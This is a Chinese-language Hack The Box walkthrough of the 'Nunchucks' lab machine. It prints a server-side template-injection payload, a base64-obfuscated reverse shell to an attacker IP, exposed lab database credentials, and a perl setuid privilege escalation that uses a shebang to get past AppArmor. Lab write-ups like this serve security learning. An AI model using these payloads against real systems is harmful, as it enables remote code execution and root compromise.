htb Nunchucks walkthrough ssti + shebang绕过apparmor限制

news/2025/2/8 21:36:13/文章来源:https://www.cnblogs.com/wssw/p/18705298

image



image
注册
image
发现注册失败



扫描子域名
ffuf -u https://nunchucks.htb/ -w /usr/share/dirb/wordlists/common.txt -H "Host: FUZZ.nunchucks.htb" -fs 30589
image



访问看看有啥
image

随便输入个邮箱抓包看看image
尝试ssti 注入
image
发现确实存在



在hacktrick上搜索payload
https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html?highlight=ssti#what-is-ssti-server-side-template-injection

image

{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}
执行成功
image



执行反弹shell
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNC84MCAwPiYx | base64 -d | bash')\")()}}
反弹成功
image
为了获取完整tty
我们上传ssh公钥
image



然后ssh登录david用户
image



进入提权环节

/var/www/store.nunchucks/controllers/routes.js 里面找到了mysql 的用户以及密码
newsletter_admin:StoreNLetters2021
连接数据库发现里面并没有什么有用的信息



发现
perl被capability赋予了suid权限
image

找到了这篇文章
https://www.cnblogs.com/f-carey/p/16026088.html#tid-QMMpPG

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
但是直接执行发现不成功



最后经过一系列的尝试发现只能执行
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'



我不太懂了 看wp了

原来perl的capability配置文件在/etc/apparmor.d/usr.bin.perl

点击查看代码
# Last Modified: Tue Aug 31 18:25:30 2021
#include <tunables/global>/usr/bin/perl {#include <abstractions/base>#include <abstractions/nameservice>#include <abstractions/perl>capability setuid,deny owner /etc/nsswitch.conf r,deny /root/* rwx,deny /etc/shadow rwx,/usr/bin/id mrix,/usr/bin/ls mrix,/usr/bin/cat mrix,/usr/bin/whoami mrix,/opt/backup.pl mrix,owner /home/ r,owner /home/david/ r,}

发现可以执行 /opt/backup.pl 文件

我们看看

////////// 点击查看代码
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid); 
POSIX::setuid(0); my $tmpdir        = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";sub printlog
{print "[", strftime("%D %T", localtime), "] $_[0]\n";
}sub archive
{printlog "Archiving...";system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");printlog "Backup complete in $tmpbdir/backup_$now.tar";
}if ($> != 0) {die "You must run this script as root.\n";
}printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
没啥用

继续看wp
是个绕过手法

我们只要加入shebang 就能够绕过apparmor 配置文件的限制
image

提权成功
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/880986.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

P1551 亲戚

并查集还是不熟,还得练 #include<iostream> #include<set> #include<map> #include<algorithm> #include<vector> #define int long long const int N = 1e6; using namespace std; char* p1, * p2, buf[100000]; #define nc() (p1==p2 &&a…

推荐一些程序员常逛的开发者社区

前言 在信息技术日新月异的今天,程序员作为推动技术进步的重要力量,始终在探索、学习和交流的道路上不断前行。为了帮助程序员们更好地拓宽视野、提升技能,本文大姚将给大家推荐12个程序员常逛的开发者社区。 GitHub GitHub是一个功能强大、易于使用的代码托管平台。拥有庞大…

为飞牛OS基于FRP的内网穿透开启HTTPS加密

前言 玩NAS的朋友应该有比较多只是在家庭局域网使用,比如日常看看电影、备份手机照片什么的,这属于家庭局域网的使用场景。 当然了,如果你经常出差,或者过年回家不想把NAS也背回去,或者是想上班摸鱼,或者是NAS搭建游戏服务器之类的能公网访问就很有必要了。 公网访问我自…

0208《XEduHub + PySimpleGUI + PySimpleGUIWeb:在行空板上部署模型的全解析》【模型部署】

- 2月8日,晚上,19:30~21:00(主讲老师:邱奕盛)实验内容: 【模型部署】利用统一推理框架实现模型部署。 在训练好的模型基础上,设计简洁的体验界面, 最终尝试在行空板上实现完整效果的呈现,涉及 XEduHub、PySimpleGUI、PySimpleGUIWeb等工具。 import PySimpleGUI as …

DeepSeek 不再卡顿,从此告别服务器繁忙,请稍后再试(建议收藏!)

大家好,我是六哥。 由于DeepSeek真的太火了,也许你也跟我一样,常会遇到这样的情况:真的让人抓狂,10条回复里常常有9条是“服务器blabla,请稍后重试”,看到这话,就问你,谁能不崩溃? 其实仔细想想,DeepSeek的目标是AGI,算力资源更多用在探索模型上,很难兼顾几亿用户…

踩坑---注意芯片复位后引脚初始化功能

踩坑---注意复位后引脚初始化功能 背景 ​ 做综合案例训练的时候,把PB3和PB4当做了普通IO进行了配置,运行过程中发现很奇怪,怎么输出和配置的不一致。debug调试显示的IO输出和万用表量的都不一样。由于添加了其他功能代码,还把每个部分代码都抽出来单独调试,最后发现就是那…

【字符串、栈】单个char字符转为string表示

单个char转string char x = a; string c = string(1, x);string转单个char string s = "abc"; char x = s[0];string转char[](字符数组) string s = "abc"; s.c_str();(字符数组)char[]转string //直接赋值即可 char s1[4] = "abc"; string …

CF2008-Solution

【萌新场!】CF2008解析 今天带来的是 CF2008:Codeforces Round 970(Div 3)的前 8 题解析!非常入门,适合基础较弱的同学食用! Div3 的题目,往往思维含量较低,更多的是套路的教学,适合扩充知识面。 时间匆忙,难免有错漏之处,仅供娱乐! 时间限制均为 2s,内存限制均为…

WHUWC T3 极差划分

WHUWC T3 极差划分 汇集了优秀资源,懒得自己手写了 cf题目

哥斯拉流量JAVA_AES解密-日志分析

solar应急响应-日志流量分析-2 题目:新手运维小王的Geoserver遭到了攻击 小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。 由上一题得到一个后门文件 String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl9…

第九节 文字生成 (第四部分 生成任务,大模型)

输入经过encoder得到特征,4个特征当作decoder的输入(打辅助),把标签拿过来做输入得到序列 自回归区别一步错步步错 只能串行输出多长 分类/回归(不太行)输入选到END表示结束输入:start+label 输出:label+END测试测试时没有label Beam Search在有些生成的时候,不是单纯的推测,会…

Linux驱动---字符设备

本文介绍了学习字符设备驱动的基础知识,阐述了字符设备驱动的框架结构,并通过代码示例讲解了其关键实现细节。目录一、基础简介1.1、Linux设备驱动分类1.2、字符设备驱动概念二、驱动基本组成2.1、驱动模块的加载和卸载2.2、添加LICENNSE以及其他信息三、字符设备驱动开发步骤…